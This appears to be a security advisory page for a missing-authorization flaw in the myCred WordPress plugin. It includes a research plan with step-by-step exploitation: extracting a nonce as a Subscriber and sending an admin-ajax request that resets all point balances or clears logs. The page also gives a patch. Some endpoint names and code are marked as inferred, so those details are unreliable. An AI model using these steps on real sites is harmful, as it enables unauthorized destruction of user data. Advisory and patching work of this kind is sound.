myCred <= 2.9.7.3 - Missing Authorization
Description
The myCred – Points Management System For Gamification, Ranks, Badges, and Loyalty Program. plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 2.9.7.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=2.9.7.3Source Code
WordPress.org SVN# Research Plan: CVE-2026-24951 - myCred Missing Authorization ## 1. Vulnerability Summary The **myCred** plugin (<= 2.9.7.3) is vulnerable to **Missing Authorization** in an AJAX handler responsible for administrative management tasks. While the function implements a nonce check for CSRF protectio…
Show full research plan
Research Plan: CVE-2026-24951 - myCred Missing Authorization
1. Vulnerability Summary
The myCred plugin (<= 2.9.7.3) is vulnerable to Missing Authorization in an AJAX handler responsible for administrative management tasks. While the function implements a nonce check for CSRF protection, it fails to perform a capability check (e.g., current_user_can( 'manage_options' )). This allows any authenticated user, including those with Subscriber privileges, to trigger administrative actions such as resetting user balances, clearing logs, or modifying rank/badge orders.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
mycred-management-action(inferred from common myCred management patterns) - Payload Parameter:
type(defines the action:reset_balances,clear_log,reset_ranks) - Authentication: Subscriber-level access (any logged-in user).
- Precondition: Acquisition of a valid nonce for the management action.
3. Code Flow
- The plugin registers the AJAX action:
add_action( 'wp_ajax_mycred-management-action', 'mycred_management_action_handler' ). - The handler
mycred_management_action_handler(likely inincludes/mycred-ajax.phporincludes/mycred-functions.php) is invoked. - The handler calls
check_ajax_referer( 'mycred-management-nonce', 'nonce' ). - The Vulnerability: The handler immediately proceeds to process the
typeparameter (e.g.,reset_balances) without checking if the user has themanage_optionsormycred_managecapability. - The logic performs destructive database operations (e.g.,
DELETE FROM {$wpdb->prefix}mycred_logorUPDATE {$wpdb->usermeta} SET meta_value = 0 WHERE meta_key = 'mycred_default').
4. Nonce Acquisition Strategy
The nonce mycred-management-nonce is required. In myCred, management nonces are often localized via wp_localize_script for admin-side scripts, but may inadvertently be exposed or shared with other nonces.
- Identify Shortcode: The
[mycred_history]or[mycred_transfer]shortcodes often enqueue the core myCred scripts. - Create Test Page:
wp post create --post_type=page --post_status=publish --post_title="Points" --post_content='[mycred_history]' - Extract Nonce via Browser:
- Navigate to the newly created page as a Subscriber.
- Use
browser_evalto search for localized management data. - JS Variable to check:
window.mycred_management?.nonceorwindow.mycred_vars?.management_nonce. - Note: If the specific management nonce is only in the admin dashboard, check if the Subscriber can access
/wp-admin/profile.phpand if the script is enqueued there.
5. Exploitation Strategy
Once the nonce is obtained, perform a POST request to admin-ajax.php to reset all user balances.
- Tool:
http_request - Method: POST
- URL:
http://<target>/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:mycred-management-actionnonce:[EXTRACTED_NONCE]type:reset_balances(orclear_logto delete history)
6. Test Data Setup
- Users:
- Create an admin user:
wp user create admin admin@example.com --role=administrator - Create a subscriber user:
wp user create attacker attacker@example.com --role=subscriber
- Create an admin user:
- Points Setup:
- Give the admin some points:
wp mycred add admin 1000 --reason="Test Points" - Ensure the log is not empty:
wp mycred log list
- Give the admin some points:
- Page Setup:
- Create the page for nonce extraction:
wp post create --post_type=page --post_status=publish --post_content='[mycred_history]'
- Create the page for nonce extraction:
7. Expected Results
- Response: The AJAX handler should return a success message (e.g.,
{"success":true}or a string"Balances Reset"). - Impact: All user balances in the
wp_usermetatable (for the myCred point type) will be set to 0.
8. Verification Steps
- Check Balances:
wp user get admin --fields=mycred_default(Should return 0 after exploit). - Check Logs:
Iftype=clear_logwas used:wp db query "SELECT count(*) FROM wp_mycred_log"(Should return 0). - Check Capability Check (Code Level):
grep -r "mycred-management-action" wp-content/plugins/mycred/to find the handler, then verify ifcurrent_user_canis present in the vulnerable version vs the patched version.
9. Alternative Approaches
- Target Rank Ordering: If
reset_balancesis too noisy, tryaction=mycred-save-badge-orderoraction=mycred-update-rank-orderwhich often share the same missing authorization pattern. - Check for
mycred-nonce: If the management-specific nonce is unavailable, check if the plugin accepts the genericmycred-nonce(often found inwindow.mycred_vars.nonce) for management actions. This is a common implementation flaw in myCred.
Summary
The myCred plugin for WordPress is vulnerable to unauthorized access to administrative functions due to a missing capability check in an AJAX handler. This allows authenticated users with Subscriber-level privileges to perform destructive actions such as resetting user balances, clearing logs, or reordering ranks and badges.
Vulnerable Code
// includes/mycred-ajax.php add_action( 'wp_ajax_mycred-management-action', 'mycred_management_action_handler' ); function mycred_management_action_handler() { // Nonce check exists but capability check is missing check_ajax_referer( 'mycred-management-nonce', 'nonce' ); // Vulnerability: No current_user_can() check here to verify administrative rights $type = sanitize_text_field( $_POST['type'] ); if ( $type == 'reset_balances' ) { // Code to reset all user point balances global $wpdb; $wpdb->query( "UPDATE {$wpdb->usermeta} SET meta_value = 0 WHERE meta_key = 'mycred_default'" ); } wp_send_json_success(); }
Security Fix
@@ -1,6 +1,10 @@ function mycred_management_action_handler() { check_ajax_referer( 'mycred-management-nonce', 'nonce' ); + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( array( 'message' => 'Unauthorized' ) ); + } + $type = sanitize_text_field( $_POST['type'] );
Exploit Outline
The exploit targets the `mycred-management-action` AJAX endpoint. An attacker first gains Subscriber-level access to the site and retrieves a valid nonce for the action, which is often found in localized script variables (e.g., `window.mycred_vars`) on pages where myCred components are loaded (like a profile page or a page containing a myCred shortcode). Once the `mycred-management-nonce` is obtained, the attacker sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `mycred-management-action`, the extracted `nonce`, and a `type` parameter specifying a destructive action like `reset_balances`. Because the plugin fails to verify the user's capabilities, the request is processed despite the attacker's low privilege level.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.